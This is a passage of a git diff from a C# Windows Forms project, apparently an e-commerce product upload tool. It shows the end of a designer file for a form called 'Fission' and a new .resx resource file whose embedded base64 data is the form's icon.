this.pnlCancelShopFlag.TabIndex = 73; + this.pnlCancelShopFlag.Text = "取消"; + this.pnlCancelShopFlag.Visible = false; + this.pnlCancelShopFlag.Click += new System.EventHandler(this.pnlCancelShopFlag_Click); + // + // pnlSaveShopFlag + // + this.pnlSaveShopFlag.CanvasColor = System.Drawing.SystemColors.Control; + this.pnlSaveShopFlag.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.pnlSaveShopFlag.DisabledBackColor = System.Drawing.Color.Empty; + this.pnlSaveShopFlag.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.pnlSaveShopFlag.Location = new System.Drawing.Point(644, 120); + this.pnlSaveShopFlag.Name = "pnlSaveShopFlag"; + this.pnlSaveShopFlag.Size = new System.Drawing.Size(31, 24); + this.pnlSaveShopFlag.Style.Alignment = System.Drawing.StringAlignment.Center; + this.pnlSaveShopFlag.Style.BackColor1.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBackground; + this.pnlSaveShopFlag.Style.BackColor2.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBackground2; + this.pnlSaveShopFlag.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.pnlSaveShopFlag.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.pnlSaveShopFlag.Style.ForeColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelText; + this.pnlSaveShopFlag.Style.GradientAngle = 90; + this.pnlSaveShopFlag.TabIndex = 69; + this.pnlSaveShopFlag.Text = "保存"; + this.pnlSaveShopFlag.Visible = false; + this.pnlSaveShopFlag.Click += new System.EventHandler(this.btnSaveShopFlag_Click); + // + // txtNewShopFlag + // + // + // + // + this.txtNewShopFlag.Border.Class = "TextBoxBorder"; + this.txtNewShopFlag.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.txtNewShopFlag.Font = new System.Drawing.Font("华文中宋", 9.5F); + this.txtNewShopFlag.Location = new System.Drawing.Point(561, 120); + this.txtNewShopFlag.Name = "txtNewShopFlag"; + this.txtNewShopFlag.PreventEnterBeep = true; + this.txtNewShopFlag.Size = new System.Drawing.Size(82, 24); + this.txtNewShopFlag.TabIndex = 61; + this.txtNewShopFlag.Visible = false; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(346, 123); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(44, 17); + this.label2.TabIndex = 52; + this.label2.Text = "分组:"; + // + // toolTip1 + // + this.toolTip1.IsBalloon = true; + // + // Fission + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(1366, 700); + this.Controls.Add(this.splitContainer1); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "Fission"; + this.ShowMaximizeBox = true; + this.Text = "净化数据"; + this.TitleText = "净化数据"; + this.WindowState = System.Windows.Forms.FormWindowState.Minimized; + this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.Fission_FormClosed); + this.Load += new System.EventHandler(this.Fission_Load); + this.Controls.SetChildIndex(this.splitContainer1, 0); + this.panel1.ResumeLayout(false); + this.panel1.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pbLoading)).EndInit(); + this.splitContainer1.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer1)).EndInit(); + this.splitContainer1.ResumeLayout(false); + this.splitContainer2.Panel1.ResumeLayout(false); + this.splitContainer2.Panel2.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer2)).EndInit(); + this.splitContainer2.ResumeLayout(false); + this.splitPage.Panel1.ResumeLayout(false); + this.splitPage.Panel2.ResumeLayout(false); + this.splitPage.Panel2.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitPage)).EndInit(); + this.splitPage.ResumeLayout(false); + this.flowLayoutPanel1.ResumeLayout(false); + this.flowLayoutPanel1.PerformLayout(); + this.splitContainer3.Panel1.ResumeLayout(false); + this.splitContainer3.Panel2.ResumeLayout(false); + this.splitContainer3.Panel2.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.splitContainer3)).EndInit(); + this.splitContainer3.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.dataGridView1)).EndInit(); + this.pnlShowOriginal.ResumeLayout(false); + this.pnlShowOriginal.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pbPaste)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel1; + private System.Windows.Forms.SplitContainer splitContainer1; + private System.Windows.Forms.SplitContainer splitContainer2; + private System.Windows.Forms.TextBox importURLtextBox; + private ButtonLc importFileBtn; + private DataGridViewEx dataGridView1; + private ButtonLc NextURLBtn; + private ButtonLc LastURLBtn; + private System.Windows.Forms.TextBox CurrentPositiontextBox; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label5; + private DevComponents.DotNetBar.Controls.TextBoxX txtTitle; + private System.Windows.Forms.Label priceLabel1; + private System.Windows.Forms.Label priceLabel; + private System.Windows.Forms.Label sourceLabel; + private System.Windows.Forms.Label label7; + private System.Windows.Forms.Label freePostLabel; + private System.Windows.Forms.Label label8; + private ButtonLc addToDBBtn; + private ButtonLc updateBtn; + private System.Windows.Forms.SplitContainer splitContainer3; + private Label label9; + private DevComponents.DotNetBar.Controls.CheckBoxX checkBoxX1; + private DevComponents.DotNetBar.LabelX labelX10; + private DevComponents.DotNetBar.LabelX labelX4; + private DevComponents.DotNetBar.Controls.TextBoxX baseAddPriceTextBoxX; + private DevComponents.DotNetBar.LabelX labelX11; + private DevComponents.DotNetBar.Controls.TextBoxX randAddPercentTextBoxX; + private DevComponents.DotNetBar.LabelX labelX5; + private Label lblFromUrl; + private LinkLabel SourceTitlelabel; + private ButtonLc buttonMeituPath; + private PictureBox pbPaste; + private LinkLabelLc lklbChangeCatId; + public Label lblCategory; + private DevComponents.DotNetBar.LabelX labelX1; + private TextBoxX txtDiscount; + private DevComponents.DotNetBar.LabelX labelX2; + private Label label2; + private TextBox txtShopFlag; + private ComboBox cboxCat3; + private ComboBox cboxCat2; + private Label label12; + private ComboBox cboxCat1; + private Label label11; + private ComboBox cboxShop; + private Label label10; + private Label lblShop; + private ToolTip toolTip1; + private TextBoxX txtSuperTitle; + private Label label3; + private DevComponents.DotNetBar.PanelEx pnlMsg; + private TextBoxX txtNewShopFlag; + private DevComponents.DotNetBar.PanelEx pnlAddShopFlag; + private ComboBoxEx cmbShopFlag; + private DevComponents.DotNetBar.PanelEx pnlCancelShopFlag; + private DevComponents.DotNetBar.PanelEx pnlSaveShopFlag; + private PictureBox pbLoading; + private DevComponents.DotNetBar.PanelEx pnlShowCategoryList; + private SplitContainer splitPage; + private FlowLayoutPanel flpQualification; + private FlowLayoutPanel flowLayoutPanel1; + private FlowLayoutPanel flpProp; + private DevComponents.DotNetBar.PanelEx btnLoadLastSetting; + private ButtonLc btnShowOriginal; + private Panel pnlShowOriginal; + private Label label4; + private Label label6; + private ComboBoxEx cmbGetCatShop; + private LinkLabelLc lklbResetShop; + private DataGridViewTextBoxColumn id; + private DataGridViewTextBoxColumn colDbId; + private DataGridViewLinkColumn colProductId; + private DataGridViewTextBoxColumn ColProName; + private DataGridViewTextBoxColumn status; + private DataGridViewLinkColumn colRemove; + private DataGridViewLinkColumn colDelete; + private ButtonLc btnCatchWords; + } +} \ No newline at end of file diff --git a/TEMUKJD/KJDForms/UploadForms/Fission.resx b/TEMUKJD/KJDForms/UploadForms/Fission.resx new file mode 100644 index 0000000..101667e --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/Fission.resx @@ -0,0 +1,1277 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + + + AAABAAEAgIAAAAEAIAAoCAEAFgAAACgAAACAAAAAAAEAAAEAIAAAAAAAAAgBACMuAAAjLgAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAvHxSArx8 + Uje8fFJ5vHxSrLx8UtK8fFLuvHxS+rx8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8 + Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8 + Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8 + Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8 + Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8 + Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8Uv+8fFL/vHxS/7x8 + Uv+8fFL/vHxS/7x8Uv+8fFL6vHxS7rx8UtK8fFKsvHxSebx8Uje8fFICAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAvHxSHLx8Uoi8fFLkyIRY/9mRYP/om2j/86Jt//qocf/+qnL//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//6qcv/6qHH/86Jt/+mb + aP/ZkWD/yIRY/7x8UuS8fFKIvHxSHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAvHxSFLx8Upe/flT52pFh//Oj + bf//q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P/9KNt/9qRYf+/flT5vHxSl7x8 + UhQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAALx8Uli9fVPr2ZBg//qncf//q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//qncf/ZkGD/vX1T67x8UlkAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALx8UgW8fFKYxoNX//GhbP//q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c//xoWz/xoNX/7x8Upi8fFIFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAC8fFIKvHxSts+JW//7qHH//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc//7qHH/z4lb/7x8UrS8fFIKAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAvHxSBrx8UrHTjF3//qpy//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc//+qnL/04xd/7x8UrG8fFIGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAC8fFKY0Ipc//6qcv//q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc//+qnL/0Ipc/7x8 + UpkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAvHxSWMaDV//7qHH//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc//7qHH/xoNX/7x8UloAAAAAAAAAAAAAAAAAAAAAAAAAALx8 + UhO9fVLs8qJs//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c//yomz/vX1S7Lx8UhMAAAAAAAAAAAAAAAAAAAAAvHxSldmQYP//q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc//ZkGD/vHxSlwAAAAAAAAAAAAAAALx8 + Uhy/flT5+qdw//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P/hXaX/zZUsP+fgpD/3519//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P/4ZJm/61kTv/omGn//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//qncP+/flT5vHxSHAAAAAAAAAAAvHxSh9qRYf//q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c//Zm37/KFK0/yhRs/8pUrT/S2Co/418lf/gnnz//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P/rmZP/3Y1 + N/+PTEL/wXZY//Shbv//q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz/9qRYf+8fFKHAAAAALx8 + UgK8fFLj9KNt//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc/+Le5b/KFOz/yhUtP8oU7P/KFOz/yhT + s/9daaP/v5GG//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P/u3FV/3Y2N/93Njf/djY3/6JbSv/djmT//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P/9KNt/7x8UuO8fFICvHxSOMiEWP//q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz/+CffP8oVbT/J1W0/yhVtP8oVbT/KFW0/yhVtP8nVbT/QF6t/7WNif//q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P/smlR/3Y2N/92NTf/djY3/3c2N/+KRj//04Zg//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P/yIRY/7x8 + Uje8fFJ52ZFg//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz/3d3nf8nWLX/J1e0/ydY + tf8nWLX/J1i1/ydYtf8oWLX/J1e1/z1fr//FlYX//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P/mlVH/3Y2N/92Njf/djU3/3Y2 + N/92NTf/g0E9/9aIYf//q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc//akWH/vHxSeLx8Uqzom2j//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P/ypeD/yhatf8nWbX/J1q1/ydZtf8nWbX/J1m1/yhatf8oWrX/J1i1/ydY + tf9dbqT/7KR5//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc//1om//gkA8/3Y1Nv92NTf/djY2/3Y2Nv92Njb/djY3/45LQf/ol2n//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz/+ib + aP+8fFKsvHxS0/Ojbf//q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P/SGes/ydb + tv8nW7b/J1u1/yhctv8oW7b/J1u1/yhbtv8oXLb/KFy2/yhbtv8nWrb/qoyN//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc//ShF//djY3/3Y2 + N/93Nzf/dzY3/3c3N/93Njf/dzc3/3c2N/+tZU///apy//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P/86Nt/7x8UtO8fFLs+qdw//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc/+Pg5b/KF22/yhdtv8oXbb/KF22/yhdtv8nXbb/J122/yhd + tv8nXLb/J122/ydctv8oXbb/a3Wh//2qdP//q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc/+rY07/djY3/3Y2N/92Njf/djY3/3Y2Nv92Njb/dzc3/3Y2 + Nv+EQT3/4ZFm//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + c//6p3H/vHxS7Lx8Uvn9qnL//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+rc///q3P//6tz//+r + 